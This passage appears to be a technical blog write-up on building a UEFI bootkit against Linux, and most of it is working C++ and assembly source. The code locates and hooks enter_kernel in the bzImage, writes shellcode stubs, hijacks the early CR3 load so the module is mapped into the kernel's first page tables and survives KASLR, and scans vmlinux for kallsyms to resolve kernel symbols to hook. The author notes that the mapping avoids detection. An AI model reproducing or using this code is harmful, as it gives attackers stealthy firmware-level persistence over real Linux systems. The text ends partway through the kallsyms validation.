else if (is_accessing_disp(&f[j], static_cast<int32_t>(unloadimage_offset), true)) {
mask |= 0b010 << (is_writing ? 3 : 0);
}
else if (is_accessing_disp(&f[j], static_cast<int8_t>(unloadimage_offset), false)) {
mask |= 0b010 << (is_writing ? 3 : 0);
}
else if (is_accessing_disp(&f[j], static_cast<int32_t>(startimage_offset), true)) {
mask |= 0b100 << (is_writing ? 3 : 0);
}
else if (is_accessing_disp(&f[j], static_cast<int8_t>(startimage_offset), false)) {
mask |= 0b100 << (is_writing ? 3 : 0);
}
}
To distinguish hook_system_services from unhook_system_services (or any that isn’t either one), we check the bitmask which is set accordingly to identified displacement access criteria. Bitmask logic: bit 0, 1 and 2 are for LoadImage, UnloadImage and StartImage respectively. For each one that is also read from the original table, it is or’ed shifting left by 3, so bit 3, 4, 5 signals they’re being read & saved, coherent with a hooking logic which preserves old pointers to unhook later. If mask & 0b111000, it’s either one. Discriminate by read mask:
// writes to all 3
if (mask & 0b111000) {
// btw, unhook also accesses offsetof(EFI_BOOT_SERVICES, Exit), but this could
// be moved out to another unhook function in the future, would make sense so
// don't account for it here.
// reads from all 3, means it is saving them
if (mask & 0b111) {
hook_found = true;
*hook = destination;
}
else {
unhook_found = true;
*unhook = destination;
}
}
Shim compatibility is currently incomplete. What is still remaining: the start_image and shim_start_image CALL handover heuristics, delayed image patching (in either hooks), and hook logic. This section will be updated with these remaining steps once I implement it.
vmlinuz / bzImage phase
In modern versions the bzImage is an EFI application containing an embedded kernel image, which is usually compressed. Regardless if the kernel is compressed or not, both paths lead to the same kernel handover code. In older versions, that is an handwritten assembly:
#ifdef CONFIG_EFI_STUB
.org 0x390
SYM_FUNC_START(efi64_stub_entry)
and $~0xf, %rsp /* realign the stack */
movq %rdx, %rbx /* save boot_params pointer */
call efi_main
movq %rbx,%rsi
leaq rva(startup_64)(%rax), %rax
jmp *%rax
SYM_FUNC_END(efi64_stub_entry)
SYM_FUNC_ALIAS(efi_stub_entry, efi64_stub_entry)
Where rax contains the uncompressed kernel startup_64 address. In recent versions, it has changed drastically:
/*
* On success, this routine will jump to the relocated image directly and never
* return. On failure, it will exit to the firmware via efi_exit() instead of
* returning.
*/
void __noreturn efi_stub_entry(efi_handle_t handle,
efi_system_table_t *sys_table_arg,
struct boot_params *boot_params)
{
efi_guid_t guid = EFI_MEMORY_ATTRIBUTE_PROTOCOL_GUID;
const struct linux_efi_initrd *initrd = NULL;
unsigned long kernel_entry;
struct setup_header *hdr;
efi_status_t status;
/* snip */
status = exit_boot(boot_params, handle);
if (status != EFI_SUCCESS) {
efi_err("exit_boot() failed!\n");
goto fail;
}
/*
* Call the SEV init code while still running with the firmware's
* GDT/IDT, so #VC exceptions will be handled by EFI.
*/
sev_enable(boot_params);
efi_5level_switch();
enter_kernel(kernel_entry, boot_params);
fail:
efi_err("efi_stub_entry() failed!\n");
efi_exit(handle, status);
}
enter_kernel is the function we’re interested in, it jumps to startup_64.
static void __noreturn enter_kernel(unsigned long kernel_addr,
struct boot_params *boot_params)
{
/* enter decompressed kernel with boot_params pointer in RSI/ESI */
asm("jmp *%0"::"r"(kernel_addr), "S"(boot_params));
unreachable();
}
Therefore, a jmp reg is guaranteed, reg being a 64 bit pointer to startup_64 and rsi containing a pointer to boot_params. It will always be inlined, as this is a static, tiny __noreturn inline assembly function. This complicates things, but we have guaranteed:
- jmp reg, not an
RSIdestination - assignment to
RSIpreceding the jmp
So we’ll need to disassemble a few instructions to find this pattern. However, there are two obvious problems: instruction ordering and optimizations. We need to know who writes to kernel_addrand boot_params and how. Following kernel_addr, it is passed via a local variable kernel_entry:
void __noreturn efi_stub_entry(efi_handle_t handle,
efi_system_table_t *sys_table_arg,
struct boot_params *boot_params)
{
efi_guid_t guid = EFI_MEMORY_ATTRIBUTE_PROTOCOL_GUID;
const struct linux_efi_initrd *initrd = NULL;
unsigned long kernel_entry; // this is passed to kernel_addr param later
Written to by efi_decompress_kernel:
static efi_status_t efi_decompress_kernel(unsigned long *kernel_entry,
struct boot_params *boot_params)
{
/* snip */
entry = decompress_kernel((void *)addr, virt_addr, error);
if (entry == ULONG_MAX) {
efi_free(alloc_size, addr);
return EFI_LOAD_ERROR;
}
*kernel_entry = addr + entry; // here
return efi_adjust_memory_range_protection(addr, kernel_text_size) ?:
efi_adjust_memory_range_protection(addr + kernel_inittext_offset,
kernel_inittext_size);
}
As a static function, it can be highly optimized by the compiler and some operations can be pulled out of the function altogether. For kernel_entry specifically:
*kernel_entry = addr + entry;
The first use after assignment is in the passage to enter_kernel. So the compiler can optimize this addition/assignment to right before the jmp instruction. We are left with:
- jmp reg, not an
RSIdestination - assignment to
RSIpreceding the jmp - assignment to jmp destination register, possibly an addition too
- it is inlined, so the surrounding layout and context are valid anchors
My initial implementation found 2 matches whilst parsing the bzImage memory space blindly, so I added a check for 2 calls preceding the enter_kernel procedure to match sev_enable and efi_5level_switch calls:
sev_enable(boot_params); // E8 for this call
efi_5level_switch(); // no param passing, safe to assume two consecutive E8 ?? ?? ?? ??
enter_kernel(kernel_entry, boot_params);
The old handwritten assemblies are predictable enough to cover through simple pattern scanning. v6.0 compatibility for reference:
if (*code != 0xFF /* jmp reg */)
return false;
pos = 0;
rex = 0;
modrm = code[1];
mod = modrm >> 6;
rm = modrm & 0b111;
reg = (modrm >> 3) & 0b111;
if (reg != 4) // not a JMP
return false;
if (mod != 3) // not JMP reg
return false;
dst = rm;
if (P_IS_REX(code[-1])) {
rex = code[-1];
}
// cannot be a jmp rsi
if (!(rex & P_B_BIT) && dst == 6)
return false;
// first check old fixed predictable signature
// https://elixir.bootlin.com/linux/v6.0/source/arch/x86/boot/compressed/head_64.S#L560
if (code[1] == 0xE0 /* rax */) {
// mov rsi, rbx; lea rax, [rax + X]
if (memcmp(&code[-10], "\x48\x89\xDE\x48\x8D\x80", 6) == 0) {
// and rsp, 0FFFFFFFFFFFFFFF0h; mov rbx, rdx; call efi_main
if (memcmp(&code[-22], "\x48\x83\xE4\xF0\x48\x89\xD3\xE8", 8) == 0) {
*what_reg = dst | ((rex & P_B_BIT) ? 0b1000 : 0);
return true;
}
}
}
Full heuristic:
bool heuristic::is_enter_kernel(uintptr_t c, uint8_t *what_reg)
{
uint8_t *code = reinterpret_cast<uint8_t *>(c);
int pos;
uint8_t modrm, mod, rm;
uint8_t rex;
uint8_t reg;
uint8_t dst;
bool req_mov_rsi;
// https://elixir.bootlin.com/linux/v6.19.8/source/drivers/firmware/efi/libstub/x86-stub.c#L898
// all bzImages I could find inlines this function as it is static and tiny. Note [2026/08/14]:
// couldn't be otherwise. While refactoring this code, I came to the conclusion static __noreturn
// will always cause this to be inlined. Needed to clearify this in the public release.
// asm("jmp *%0"::"r"(kernel_addr), "S"(boot_params)); guarantees it assigns
// RSI right before the jmp
if (*code != 0xFF /* jmp reg */)
return false;
pos = 0;
rex = 0;
modrm = code[1];
mod = modrm >> 6;
rm = modrm & 0b111;
reg = (modrm >> 3) & 0b111;
if (reg != 4) // not a JMP
return false;
if (mod != 3) // not JMP reg
return false;
dst = rm;
if (P_IS_REX(code[-1])) {
rex = code[-1];
}
// cannot be a jmp rsi
if (!(rex & P_B_BIT) && dst == 6)
return false;
// first check old fixed predictable signature
// https://elixir.bootlin.com/linux/v6.0/source/arch/x86/boot/compressed/head_64.S#L560
if (code[1] == 0xE0 /* rax */) {
// mov rsi, rbx; lea rax, [rax + X]
if (memcmp(&code[-10], "\x48\x89\xDE\x48\x8D\x80", 6) == 0) {
// and rsp, 0FFFFFFFFFFFFFFF0h; mov rbx, rdx; call efi_main
if (memcmp(&code[-22], "\x48\x83\xE4\xF0\x48\x89\xD3\xE8", 8) == 0) {
*what_reg = dst | ((rex & P_B_BIT) ? 0b1000 : 0);
return true;
}
}
}
req_mov_rsi = false;
pos -= 3 + (rex ? 1 : 0);
while (pos > -15) {
uint8_t current_dst = 255;
uint8_t current_reg, current_modrm, current_mod, current_rm;
uint8_t current_rex = 0;
bool is_rsi = false;
bool is_same_reg = false;
// modrm movs, 0xb8 to 0xbf and 0xc7 make no sense here
if (code[pos + 1] == 0x89 || code[pos + 1] == 0x8b) {
if (!P_IS_REX(code[pos]))
break;
current_rex = code[pos];
if (!(current_rex & P_W_BIT))
break;
current_modrm = code[pos + 2];
current_mod = current_modrm >> 6;
current_rm = current_modrm & 0b111;
current_reg = (current_modrm >> 3) & 0b111;
switch (code[pos + 1]) {
case 0x89:
if (current_mod == 3) {
current_dst = current_rm;
is_rsi = (current_dst == 6) && !(current_rex & P_B_BIT);
is_same_reg = (current_dst == dst) && ((current_rex & P_B_BIT) == (rex & P_B_BIT));
}
break;
case 0x8B:
current_dst = current_reg;
is_rsi = (current_dst == 6) && !(current_rex & P_R_BIT);
is_same_reg = (current_dst == dst) && ((current_rex & P_R_BIT) == (rex & P_B_BIT));
break;
}
if (is_rsi)
req_mov_rsi = true;
else if (!is_same_reg)
break;
}
// add to reg destination
// the reason I check for an add instruction is that kernel_entry in enter_kernel(kernel_entry,
// ...); is written as *kernel_entry = addr + entry; in the static function
// efi_decompress_kernel. Therefore the compiler can optimize and move this addition to right
// before enter_kernel(), which is the first usage of kernel_entry written by
// efi_decompress_kernel. compilers are surprisingly smart.
else if (code[pos + 1] == 0x03 || code[pos + 1] == 0x01 || code[pos] == 0x03 ||
code[pos - 1] == 0x03 || code[pos - 2] == 0x03 || code[pos - 3] == 0x03) {
int expected = 3;
if (code[pos + 1] != 0x01) {
if (code[pos] == 0x03) {
expected = 4;
pos -= 1;
}
else if (code[pos - 1] == 0x03) {
expected = 5;
pos -= 2;
}
else if (code[pos - 2] == 0x03) {
expected = 6;
pos -= 3;
}
else if (code[pos - 3] == 0x03) {
expected = 7;
pos -= 4;
}
}
current_rex = code[pos];
if (!P_IS_REX(current_rex) || !(current_rex & P_W_BIT))
break;
current_modrm = code[pos + 2];
current_mod = current_modrm >> 6;
current_rm = current_modrm & 0b111;
current_reg = (current_modrm >> 3) & 0b111;
if (code[pos + 1] == 0x01) {
if ((rex & P_B_BIT) != (current_rex & P_B_BIT) || mod != 3)
break;
if (current_rm != dst)
break;
}
else if (code[pos + 1] == 0x03) {
int actual = 3;
if ((rex & P_B_BIT) != (current_rex & P_R_BIT))
break;
if (current_reg != dst)
break;
// if SIB
actual += (current_rm == 4 && current_mod != 3) ? 1 : 0;
switch (current_mod) {
case 0:
if (current_rm == 5)
actual += 4;
break;
case 1:
actual += 1;
break;
case 2:
actual += 4;
break;
}
if (actual != expected)
break;
}
}
pos -= 3;
}
if (!req_mov_rsi)
return false;
// blind searching for this heuristic often finds 2 matches, we need the one jumping to
// startup_64. before enter_kernel(kernel_entry, boot_params), bzImage calls sev_enable
// and efi_5level_switch. Therefore, two E8 call instructions has to be 5 bytes apart
// and precede the enter_kernel inline
// https://elixir.bootlin.com/linux/v7.1.8/source/drivers/firmware/efi/libstub/x86-stub.c#L1040
for (int i = 5; i < 32; i++) {
if (code[-i] == 0xE8 /* efi_5level_switch() */ && code[-i - 5] == 0xE8 /* sev_enable() */) {
*what_reg = dst | ((rex & P_B_BIT) ? 0b1000 : 0);
return true;
}
}
return false;
}
With bzImage address and length, finding enter_kernel becomes trivial: loop through the bzImage calling is_enter_kernel. But some memory allocation will be needed through the way, so we allocate a few frames using EfiRuntimeServicesData memory before ExitBootServices, as those pages are untouched and respected with no chance of overwrites to their PA:
bool hooks::bzimage::do_hook_bzimage(uintptr_t bzimage_base, size_t size)
{
uintptr_t enter_kernel_addr;
size_t frame_count;
size_t frames_identity_map;
size_t frames_brk_tmp_map;
size_t frames_extra;
size_t driver_len;
EFI_STATUS res;
uint8_t reg;
bool la57;
// bool deferred_path;
dbg::print(DEBUG_INFO, "Looking for enter_kernel...\r\n");
enter_kernel_addr = 0;
for (size_t i = 0; i < size; i++) {
if (heuristic::is_enter_kernel(bzimage_base + i, ®)) {
enter_kernel_addr = bzimage_base + i;
break;
}
}
if (!enter_kernel_addr) {
dbg::print(DEBUG_ERROR, "Failed to find enter_kernel in bzImage\r\n");
return false;
}
la57 = AsmReadCr4() & CR4_LA57;
driver_len = ALIGN_VALUE(g::driver_len, PS_4K);
frames_identity_map = pt::frame_count(g::driver_pa, driver_len, 5);
frames_brk_tmp_map = la57 ? 5 : 4;
frames_extra = 4;
frame_count = frames_identity_map + frames_brk_tmp_map + frames_extra;
res = pt::reserved_pool::init_pool(frames_extra);
if (EFI_ERROR(res)) {
dbg::print(DEBUG_ERROR, "Failed to allocate page table reserved pool (%r)\r\n", res);
// TODO: implement SetVirtualAddressMap hook for deferred kernel patch logic
return false;
}
dbg::serial_print("Allocated EFI frame pool with %Lu entries\r\n", frame_count);
if (!try_hook_enter_kernel(enter_kernel_addr, reg)) {
dbg::print(DEBUG_ERROR, "Failed to hook enter_kernel at %Lx\r\n", enter_kernel_addr);
return false;
}
return true;
}
For context, our frame pool is used to manage frames when manipulating page tables:
size_t pt::frame_count(uintptr_t base, uintptr_t size, uint8_t level)
{
uintptr_t pml5_frames;
uintptr_t pml4_frames;
uintptr_t pdpt_frames;
uintptr_t pd_frames;
uintptr_t pt_frames;
bool la57;
auto required_tables = [&](uintptr_t shift) -> uintptr_t {
return ((base + size - 1) >> shift) - (base >> shift) + 1;
};
la57 = AsmReadCr4() & CR4_LA57;
pml5_frames = (la57 && level >= 5) ? required_tables(PML5_INDEX) : 0;
pml4_frames = (level >= 4) ? required_tables(PML4_INDEX) : 0;
pdpt_frames = (level >= 3) ? required_tables(PDPT_INDEX) : 0;
pd_frames = (level >= 2) ? required_tables(PD_INDEX) : 0;
pt_frames = (level >= 1) ? required_tables(PT_INDEX) : 0;
return pml5_frames + pml4_frames + pdpt_frames + pd_frames + pt_frames;
}
uintptr_t pt::new_frame()
{
EFI_PHYSICAL_ADDRESS frame;
if (g::state & POST_EXIT_BOOT_SERVICES) {
if (g::state & KERNEL_MANAGED_FRAME_POOL_AVAILABLE)
frame = kernel_managed_pool::get_next();
else
frame = reserved_pool::get_next();
return frame;
}
else if (g::bs->AllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &frame) != EFI_SUCCESS)
return 0;
SetMem(reinterpret_cast<void *>(frame), EFI_PAGE_SIZE, 0);
return frame;
}
uintptr_t pt::reserved_pool::get_next()
{
uintptr_t next;
if (reserved_used >= reserved_capacity || !reserved_frames) {
dbg::serial_print("Failed to get next frame as there is none left\r\n");
return 0;
}
next = reserved_frames + (reserved_used * EFI_PAGE_SIZE);
reserved_used++;
return next;
}
EFI_STATUS pt::reserved_pool::init_pool(size_t count)
{
EFI_PHYSICAL_ADDRESS frames;
EFI_STATUS status;
size_t page_count;
// UINT64_MAX / EFI_PAGE_SIZE would overflow
if (count == UINT64_MAX / EFI_PAGE_SIZE)
return EFI_INVALID_PARAMETER;
page_count = count;
status = g::bs->AllocatePages(AllocateAnyPages, EfiRuntimeServicesData, page_count, &frames);
if (EFI_ERROR(status))
return status;
SetMem(reinterpret_cast<void *>(frames), page_count * EFI_PAGE_SIZE, 0);
reserved_frames = frames;
reserved_capacity = page_count;
reserved_used = 1;
return status;
}
And ’try_hook_enter_kernel`:
bool hooks::bzimage::try_hook_enter_kernel(uintptr_t jmp_insn_address, uint8_t reg)
{
void *stub;
stub = make_enter_kernel_hook_stub(reg);
if (stub == nullptr) {
dbg::print(DEBUG_ERROR, "Couldn't allocate stub for enter_kernel hook\r\n");
return false;
}
enter_kernel_hook_context.hooked = false;
if (!jmp_hook(jmp_insn_address, reinterpret_cast<uintptr_t>(stub), &enter_kernel_hook_context)) {
dbg::print(DEBUG_ERROR, "Could not hook enter_kernel with a standard jmp hook\r\n");
return false;
}
dbg::print(DEBUG_INFO, "Hooked enter_kernel with a standard jmp hook\r\n");
return true;
}
The hook logic varies with the jmp destination register. Since we know what register it jumps to, make a stub that saves it (manual shellcoding adapted to destination register):
void *hooks::bzimage::make_enter_kernel_hook_stub(uint8_t reg)
{
EFI_PHYSICAL_ADDRESS stub;
uint8_t *stub_b;
if (g::bs->AllocatePages(AllocateAnyPages, EfiRuntimeServicesCode, 1, &stub) != EFI_SUCCESS)
return nullptr;
if (!pt::mark_page_present(stub, ENTRY_RW /* no NX for RWX */))
return nullptr;
stub_b = reinterpret_cast<uint8_t *>(stub);
stub_b[0] = P_REX | P_W_BIT | ((reg & 0b1000) ? P_B_BIT : 0); // 64 bit
stub_b[1] = 0x90 + (reg & 0b111); // xchg ax, reg
stub_b[2] = P_REX | P_W_BIT; // 64 bit
stub_b[3] = 0xa3; // mov [imm64], (r)ax
*reinterpret_cast<void **>(&stub_b[4]) = &bzimage::startup_64_address;
stub_b[12] = P_REX | P_W_BIT; // 64 bit
stub_b[13] = 0x96; // xchg rsi, rax
stub_b[14] = P_REX | P_W_BIT; // 64 bit
stub_b[15] = 0xa3; // mov [imm64], (r)ax
*reinterpret_cast<void **>(&stub_b[16]) = &bzimage::startup_64_rsi;
stub_b[24] = P_REX | P_W_BIT; // 64 bit
stub_b[25] = 0x96; // xchg rsi, rax
stub_b[26] = P_REX | P_W_BIT | ((reg & 0b1000) ? P_B_BIT : 0);
stub_b[27] = 0x90 + (reg & 0b111);
stub_b[28] = 0xff; // jmp
stub_b[29] = 0x25;
*reinterpret_cast<int32_t *>(&stub_b[30]) = 0;
*reinterpret_cast<void **>(&stub_b[34]) =
reinterpret_cast<void *>(hooks::bzimage::enter_kernel_hook);
__asm__ volatile("wbinvd" ::: "memory");
return stub_b;
}
The stub has to be allocated before executing bzImage, as after ExitBootServices the BootServices table does not exist anymore. The stub:
- xchg rax, reg ; jmp dst register
- movabs [&bzimage::startup_64_address], rax
- xchg rsi, rax
- movabs [&bzimage::startup_64_rsi], rax
- xchg rsi, rax
- xchg rax, reg
- jmp hooks::bzimage::enter_kernel_hook
Now, how to maintain persistence at this point? Our hook will fire at the jump, and we have startup_64 function address. That is the uncompressed vmlinux entrypoint, and KASLR is set up very early there. Linux kernel (vmlinux) is mapped to a random VA in a new page table they call early_top_pgt, this is the initial page tables for the linux kernel containing KASLR’d kernel VA. It also provisionally identity-maps vmlinux (but not our module) so startup_64 won’t fault after mov cr3, reg as the instruction pointer still resides in vmlinux PA the moment cr3 switches to early_top_pgt. It then jumps to kernel KASLR’d VA through jmp *.Lcommon_startup_64(%rip) in most recent kernels (assembles to FF 25 ?? ?? ?? ??) or jmp rax in older kernels. The older pattern is consistent enough, confirmed reliable up to ~4.X.X and possibly even further. So, forward from startup_64:
- find a
mov cr3, rax(0F 22 D8) - walk forward a few bytes until
FF 25; if it matches, it is the new signature - otherwise, if the pattern
48 B8 ?? ?? ?? ?? ?? ?? ?? ?? FF E0is found earlier it is the old signature.48 B8is amov rax, imm64, andFF E0jmp rax
// https://elixir.bootlin.com/linux/v6.19.8/source/arch/x86/kernel/head_64.S#L140
// some old versions do: mov cr3, rax; .*; movq $1f, %rax; jmp *%rax
uintptr_t heuristic::find_startup_64_va_jmp(uintptr_t code, uintptr_t *mov_cr3_address,
bool *is_old_pattern)
{
uint8_t *pos = reinterpret_cast<uint8_t *>(code);
uintptr_t mov_address;
bool mov_cr3_found = false;
if (code == 0 || mov_cr3_address == nullptr || is_old_pattern == nullptr)
return 0;
for (int i = 0; i < 512; pos++, i++) {
// mov cr3, rax
if (memcmp(pos, "\x0F\x22\xD8", 3) == 0) {
mov_address = reinterpret_cast<uintptr_t>(pos);
mov_cr3_found = true;
break;
}
}
if (mov_cr3_found) {
for (int i = 0; i < 32; pos++, i++) {
if (memcmp(pos, "\xFF\x25", 2) == 0) {
*is_old_pattern = false;
*mov_cr3_address = mov_address;
return reinterpret_cast<uintptr_t>(pos);
}
// old pattern
if (memcmp(pos, "\x48\xB8", 2) == 0 && memcmp(&pos[10], "\xFF\xE0", 2) == 0) {
*is_old_pattern = true;
*mov_cr3_address = mov_address;
return reinterpret_cast<uintptr_t>(&pos[10]);
}
}
}
return 0;
}
In enter_kernel_hook, locate the jmp and mov cr3 instructions and hook the early_page_table loading to inject entries in this new page table, survive KASLR and do early linux-specific bootkit setup.
void hooks::bzimage::enter_kernel_hook()
{
uintptr_t new_vma_jmp;
uintptr_t mov_cr3_addr;
bool is_old;
// at this point ExitBootServices was already called
g::state |= POST_EXIT_BOOT_SERVICES;
jmp_unhook(&enter_kernel_hook_context);
hooks::vmlinux::kaslr_mov_hook_ctx.hooked = false;
new_vma_jmp = heuristic::find_startup_64_va_jmp(bzimage::startup_64_addr, &mov_cr3_addr, &is_old);
if (new_vma_jmp) {
uintptr_t jmp_target = new_vma_jmp + 6 + *reinterpret_cast<int32_t *>(new_vma_jmp + 2);
hooks::vmlinux::common_startup_64 = reinterpret_cast<uintptr_t *>(jmp_target);
dbg::serial_print("Hooking early CR3 mov at %Lx\r\n", mov_cr3_addr);
jmp_hook(mov_cr3_addr, reinterpret_cast<uintptr_t>(hooks::vmlinux::kaslr_cr3_mov),
&hooks::vmlinux::kaslr_mov_hook_ctx, JMP_MODE_BEST_SUITABLE);
}
else
dbg::serial_print("KASLR jmp not found\r\n");
__asm__ volatile("jmp *%%rax\n\t" : : "S"(startup_64_rsi), "a"(startup_64_addr) : "memory");
__builtin_unreachable();
}
jmp *.Lcommon_startup_64(%rip) may not exist and the is_old boolean is set accordingly. We use the indirect jmp destination to get a pointer to a point inside the chosen VA (KASLR’d) to facilitate finding stext and etext. Otherwise, we brute-force the entire __START_KERNEL_map range, that is, the whole range the KASLR may choose.
Kernel initialization hooking
startup_64 sets up KASLR and kernel VA in the first kernel page tables early_top_pgt. In every version I could find, this loading is done via mov cr3, rax, always using rax. As aforementioned,early_top_pgt has vmlinux identity mapped but not our UEFI module, so we hook this mov to identity-map ourselves there and load it from our code:
void NAKED hooks::vmlinux::kaslr_cr3_mov()
{
__asm__ volatile(
"movq %%rax, %0\n\t" // rax = early_top_pgt PA
"movq %%rsp, %1\n\t"
"movq %%rbp, %2\n\t"
"movq %%rsi, %3\n\t"
"movq %%r15, %4\n\t"
"jmp %c5"
: "=m"(startup_64_original_rax), "=m"(startup_64_original_rsp),
"=m"(startup_64_original_rbp), "=m"(startup_64_original_rsi),
"=m"(startup_64_original_r15)
: "i"(__kaslr_cr3_mov_hook) :);
}
Nearly all bootkit setup logic can be done from within this hook. early_top_pgt gets its identity-mappings removed in reset_early_page_tables and the only portion of early_top_pgt that gets copied to the permanent page tables init_top_pgt/swapper is pgd 511 and our UEFI mapping is in low VA. So identity-mapping ourselves there isn’t a detection vector by itself. The mapping is gone prior to any security subsystem initialization.
hooks::vmlinux::early_top_pgt = hooks::vmlinux::startup_64_original_rax;
if (!pt::map_range_ex(hooks::vmlinux::early_top_pgt, g::driver_pa, g::driver_pa,
ALIGN_VALUE(g::driver_len, PS_4K), ENTRY_RW, false)) {
dbg::serial_print("Failed to identity map DXE Driver in early_top_pgt\r\n");
STARTUP_64_HOOK_RETURN_STUB;
__builtin_unreachable();
}
But as we’re manipulating page tables we need to setup NXE bit if supported by the CPU, otherwise NX pages fault on access because NX bit is preserved when EFER NXE is 0, we don’t want that
if (nxe_supported())
nxe_enable(true);
We need stext and etext. common_startup_64 is a pointer inside the KASLR’d vmlinux, obtained earlier from the FF 25 displacement in startup_64. Walk backwards from it page by page until an unmapped page for stext and forward until the first unmapped page for etext:
vmlinux::base = heuristic::retroactive_find_map_base(*hooks::vmlinux::common_startup_64);
vmlinux::end = heuristic::forward_find_map_end(vmlinux::base);
uintptr_t heuristic::retroactive_find_map_base(uintptr_t va)
{
uintptr_t previous_page;
uintptr_t addr;
size_t page_size;
size_t previous_page_size;
if (!pt::is_page_present(va, &page_size))
return 0;
addr = va & ~(page_size - 1);
while (addr >= page_size) {
previous_page = addr - 1;
if (!pt::is_page_present(previous_page, &previous_page_size))
break;
if (previous_page_size > page_size)
break;
page_size = previous_page_size;
addr = previous_page & ~(page_size - 1);
}
return addr;
}
uintptr_t heuristic::forward_find_map_end(uintptr_t va)
{
uintptr_t addr;
size_t page_size;
if (!pt::is_page_present(va, &page_size))
return 0;
addr = (va & ~(page_size - 1)) + page_size;
while (true) {
if (!pt::is_page_present(addr, &page_size))
break;
addr += page_size;
}
return addr;
}
If common_startup_64 wasn’t found (old signature), brute-force __START_KERNEL_map from 0xffffffff80000000 upward looking for the first mapped page. vmlinux is mapped with 2M hugepages, so the search can use this granularity for a faster search.
vmlinux::base = heuristic::bruteforce_find_vmlinux_base(X86_64_KERNEL_VA_MIN, X86_64_KERNEL_VA_MAX);
bruteforce_find_vmlinux_base:
uintptr_t heuristic::bruteforce_find_vmlinux_base(uintptr_t base, uintptr_t limit)
{
uintptr_t candidate;
size_t step;
bool found = false;
if (limit - base < PS_2M)
step = PS_2M;
else
step = PS_4K;
candidate = base;
found = false;
for (candidate = base; candidate < limit; candidate += step) {
if (pt::is_page_present(candidate)) {
found = true;
break;
}
}
if (!found)
return 0;
return heuristic::retroactive_find_map_base(candidate);
}
Now that we have vmlinux range, we can heuristically search for kallsyms so we can resolve symbols and hook whatever is needed. Otherwise we will need heuristics for every single target we ever need, and that would be a nightmare due to how distinct the same function/structure can be depending on the kernel config. More on the following section.
Kallsyms
To support the most kallsyms structure layouts possible and their transitioning versions, I’ve implemented a trait-based structure inference for previous arrangements of kallsyms. That includes:
- 4 vs 8 byte alignment
- U8 vs ULEB128 name length variable
kallsyms_offsetsprecedingkallsyms_num_symskallsyms_offsetspostkallsyms_token_index- kallsyms absolute addressing
- kallsyms PERCPU addressing (CONFIG_KALLSYMS_ABSOLUTE_PERCPU), which makes addresses signed
- kallsyms addresses base-displaced (CONFIG_KALLSYMS_BASE_RELATIVE)
- kallsyms addresses self-displaced
kallsyms_seqs_of_namesavailable (currently unused, useful for optimization purposes)
To find it we must scan the whole vmlinux image (we don’t have section ranges, so search the whole thing) from stext first for a coherent kallsyms_num_syms, a value capped at 0xFFFFFF:
bool kallsyms::find_layout(uintptr_t stext)
{
uintptr_t max;
max = stext + pt::mapped_range_from(stext);
if (max - stext < 4)
return false;
for (uintptr_t i = stext; i <= max - 4; i += sizeof(uint32_t)) {
ks _ksms = {};
if (heuristic::is_valid_kallsyms(i, &_ksms)) {
ksms = _ksms;
ksms.is_available = true;
return true;
}
}
return false;
}
bool heuristic::is_valid_kallsyms(uintptr_t num_syms_addr, kallsyms::ks *ksms)
{
using namespace kallsyms;
unsigned int num_syms;
num_syms = *reinterpret_cast<unsigned int *>(num_syms_addr);
if (num_syms < 128 || num_syms > 0xFFFFFF /* UINT24_MAX*/)
return false;
if (is_valid_kallsyms_ex(num_syms_addr, ksms, 4)) {
ksms->traits |= TRAIT_ALIGN_4_BYTES;
return true;
}
if (is_valid_kallsyms_ex(num_syms_addr, ksms, 8)) {
ksms->traits |= TRAIT_ALIGN_8_BYTES;
return true;
}
return false;
}
Now expect a kallsyms_names table following kallsyms_num_syms. It infers the ULEB128 vs U8 trait:
names = reinterpret_cast<uint8_t *>(ALIGN_VALUE(num_syms_addr + sizeof(unsigned int), alignment));
names_size = get_kallsyms_names_size(names, num_syms, &is_uleb);
if (names_size == 0)
return false;
size_t heuristic::get_kallsyms_names_size(uint8_t *names, unsigned int num_syms, bool *uleb128)
{
uint8_t *c;
uintptr_t names_address;
uintptr_t map_end;
size_t pos;
size_t page_size;
bool is_uleb;
names_address = reinterpret_cast<uintptr_t>(names);
if (!pt::is_page_present(names_address, &page_size))
return 0;
c = names;
pos = 0;
is_uleb = false;
map_end = (names_address & ~(page_size - 1)) + page_size;
for (unsigned int i = 0; i < num_syms; i++) {
uintptr_t addr;
uint32_t length;
addr = reinterpret_cast<uintptr_t>(&c[pos]);
if (addr + 2 > map_end) {
if (!pt::is_page_present(addr, &page_size))
return 0;
map_end = (addr & ~(page_size - 1u)) + page_size;
}
if (c[pos] == 0)
return 0;
// old name limit was 128, but the check did >= 128, so its actually
// 127 (literally 0b01111111), just the MSB not set. if set, its the
// new ULEB128 length convention. very convenient for the heuristic
// https://elixir.bootlin.com/linux/v6.9.7/source/scripts/kallsyms.c#L155
// https://elixir.bootlin.com/linux/v6.9.7/source/scripts/kallsyms.c#L444
if (c[pos] & 0b10000000) {
length = c[pos] & 0b01111111;
length |= static_cast<uint32_t>(c[pos + 1]) << 7;
is_uleb = true;
pos += 1;
}
else
length = c[pos];
pos += 1;
// linux kernel limits kallsyms name length to 0x3FFF for ULEB128
// https://elixir.bootlin.com/linux/v6.9.7/source/scripts/kallsyms.c#L432
if (length > 0x3FFF)
return 0;
addr = reinterpret_cast<uintptr_t>(&c[pos + length]);
while (map_end <= addr) {
if (!pt::is_page_present(map_end, &page_size))
return 0;
map_end += page_size;
}
pos += length;
}
*uleb128 = is_uleb;
return pos;
}
Old name length limit was 128, checked as >= 128, which is 0b01111111. This implies ULEB128 can be easily inferred through checking if any size has MSB set on first byte. When its ULEB128, it uses 2 bytes only, but also limiting to 0x3FFF. Next item to validate is kallsyms_markers:
markers_count = (num_syms + 255) / 256;
markers = reinterpret_cast<uint32_t *>(
ALIGN_VALUE(reinterpret_cast<uintptr_t>(names) + names_size, alignment));
if (!is_kallsyms_markers_valid(markers, markers_count))
return false;
Simply check if its mapped in memory, not a null pointer and if the markers are in ascending order:
bool heuristic::is_kallsyms_markers_valid(uint32_t *markers, unsigned int count)
{
uintptr_t markers_addr = reinterpret_cast<uintptr_t>(markers);
size_t markers_size = static_cast<size_t>(count) * sizeof(uint32_t);
if (markers == nullptr || !pt::is_range_mapped(markers_addr, markers_size))
return false;
for (unsigned int i = 1; i < count; i++) {
if (markers[i] <= markers[i - 1])
return false;
}
return true;
}
Now validate the kallsyms_token_table, all 256 strings should be valid ascii strings with length > 0:
markers_size = markers_count * sizeof(uint32_t);
token_table = reinterpret_cast<const char *>(
ALIGN_VALUE(reinterpret_cast<uintptr_t>(markers) + markers_size, alignment));
